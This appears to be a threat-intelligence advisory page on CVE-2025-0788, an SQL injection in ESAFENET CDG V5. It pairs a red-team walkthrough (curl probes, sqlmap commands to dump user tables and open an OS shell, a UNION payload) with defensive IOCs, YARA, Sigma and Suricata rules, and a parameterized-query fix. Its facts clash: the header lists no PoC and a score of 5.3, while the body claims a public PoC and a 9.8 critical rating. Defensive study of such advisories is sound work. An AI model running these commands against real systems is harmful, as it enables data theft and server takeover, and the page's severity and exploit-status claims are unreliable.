☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0788

CVE-2025-0788 SQL Injection in Esafenet
📅 PUBLISHED: 2025-01-28 22:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0788 is a critical SQL injection vulnerability discovered in ESAFENET CDG V5, specifically within the /content_top.jsp endpoint. The vulnerability allows an unauthenticated remote attacker to manipulate the id parameter, leading to arbitrary SQL query execution against the backend database. This can result in full data exfiltration, credential theft, and potential lateral movement within the network. The vendor has been contacted but has not responded, leaving the product in an unpatched state. A public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Java-based web application (ESAFENET CDG V5). The supply chain risk is limited to the direct use of this software by organizations.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network – Exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): None – No user action required.
  • Scope (S): Unchanged – The vulnerable component is the database.
  • Confidentiality (C): High – Full database read access.
  • Integrity (I): High – Data can be modified or deleted.
  • Availability (A): High – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority threat for any organization using ESAFENET CDG V5.

Deep Dive & Mechanics

The vulnerability resides in the /content_top.jsp page. This JSP file likely processes a request parameter named id to fetch and display content. The application fails to sanitize or parameterize this input before incorporating it into a SQL query.

Vulnerable Code Pattern (Conceptual):

String id = request.getParameter("id");
String query = "SELECT * FROM content WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

The attacker can inject SQL commands by providing a malicious id value. For example:

/content_top.jsp?id=1 UNION SELECT username,password FROM users

This would return the contents of the users table alongside legitimate content. The database user likely has high privileges, allowing for data extraction, modification, or even command execution via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL).

Attack Flow:

  1. Reconnaissance: Identify ESAFENET CDG V5 instances via Shodan or Google dorking.
  2. Probe: Send a request to /content_top.jsp?id=1' to test for SQL errors.
  3. Exploit: Use a SQL injection tool (e.g., sqlmap) to enumerate databases, tables, and columns.
  4. Exfiltrate: Dump sensitive data (user credentials, business data).
  5. Escalate: If the database user has file write permissions, attempt to write a web shell to the server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String id = request.getParameter("id");
String query = "SELECT * FROM content WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

String id = request.getParameter("id");
String query = "SELECT * FROM content WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, id);
ResultSet rs = pstmt.executeQuery();

The patched version uses a PreparedStatement with a parameterized query. This ensures the id value is treated as data, not executable SQL code. Since no official patch exists, organizations must implement this fix themselves or use a WAF.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: ESAFENET CDG V5 running on a Windows/Linux server with a backend database (likely MySQL or SQL Server).
  • Attacker: Kali Linux with sqlmap and curl.

Exploitation Steps:

  1. Identify the target:

    curl -v "http://target.com/content_top.jsp?id=1"
    
  2. Confirm SQL injection:

    curl "http://target.com/content_top.jsp?id=1'"
    

    Look for SQL error messages in the response.

  3. Automated exploitation with sqlmap:

    sqlmap -u "http://target.com/content_top.jsp?id=1" --batch --dbs
    
  4. Extract data:

    sqlmap -u "http://target.com/content_top.jsp?id=1" -D cdg_db --tables
    sqlmap -u "http://target.com/content_top.jsp?id=1" -D cdg_db -T users --dump
    
  5. Attempt OS shell (if database user has high privileges):

    sqlmap -u "http://target.com/content_top.jsp?id=1" --os-shell
    

PoC Payload (Manual):

http://target.com/content_top.jsp?id=1 UNION SELECT 1,2,3,4,5,@@version

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for requests to /content_top.jsp with unusual id parameters (e.g., containing SQL keywords like UNION, SELECT, ', --).
  2. Deploy a WAF with rules to block SQL injection patterns.
  3. Use a database activity monitor (DAM) to detect anomalous queries.
  4. Harden the database by using a low-privileged account for the application.

Hunting Query (Splunk):

index=web_logs uri="/content_top.jsp" | search id=* | regex id=".*['\"].*|.*UNION.*|.*SELECT.*"

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /content_top.jsp with id parameter containing SQL syntax (e.g., ', UNION, SELECT, --).
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
  • Large response sizes from /content_top.jsp (indicating dumped data).

File IOCs:

  • Unexpected files in the web root (e.g., .jsp or .asp webshells).
  • Modified database files or logs.

Log IOCs:

  • Web server logs showing repeated 500 errors from /content_top.jsp.
  • Database logs showing queries with UNION or OR 1=1 patterns.

Detection Engineering

YARA Rule

rule CVE_2025_0788_SQLi_Exploit {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0788 in ESAFENET CDG V5"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0788"
    strings:
        $s1 = "/content_top.jsp?id=" ascii wide nocase
        $s2 = "UNION" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "'" ascii wide
        $s5 = "--" ascii wide
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5))
}

Sigma Rule

title: SQL Injection Attempt Against ESAFENET CDG V5
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-0788 in ESAFENET CDG V5
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0788
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem: "/content_top.jsp"
    keywords:
        - "id=*'"
        - "id=*UNION"
        - "id=*SELECT"
        - "id=*--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of single quotes in id parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0788 SQL Injection Attempt"; flow:to_server,established; content:"/content_top.jsp"; http_uri; nocase; pcre:"/id=[^&]*['\"]|id=[^&]*UNION|id=[^&]*SELECT|id=[^&]*--/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the ESAFENET CDG V5 server from the internet if possible.
  2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block SQL injection patterns in the id parameter.
  3. Restrict database user privileges to the minimum required (e.g., no FILE, CREATE, or DROP privileges).

Long-Term Fix:

  • Since the vendor is unresponsive, the application must be rewritten or replaced. If source code is available, implement parameterized queries (Prepared Statements) in /content_top.jsp.
  • Migrate to a supported document management solution.

Compensating Controls:

  • Enable detailed logging and monitoring for /content_top.jsp.
  • Use a database firewall to block anomalous queries.
  • Conduct a full security audit of the ESAFENET CDG V5 application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0788/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.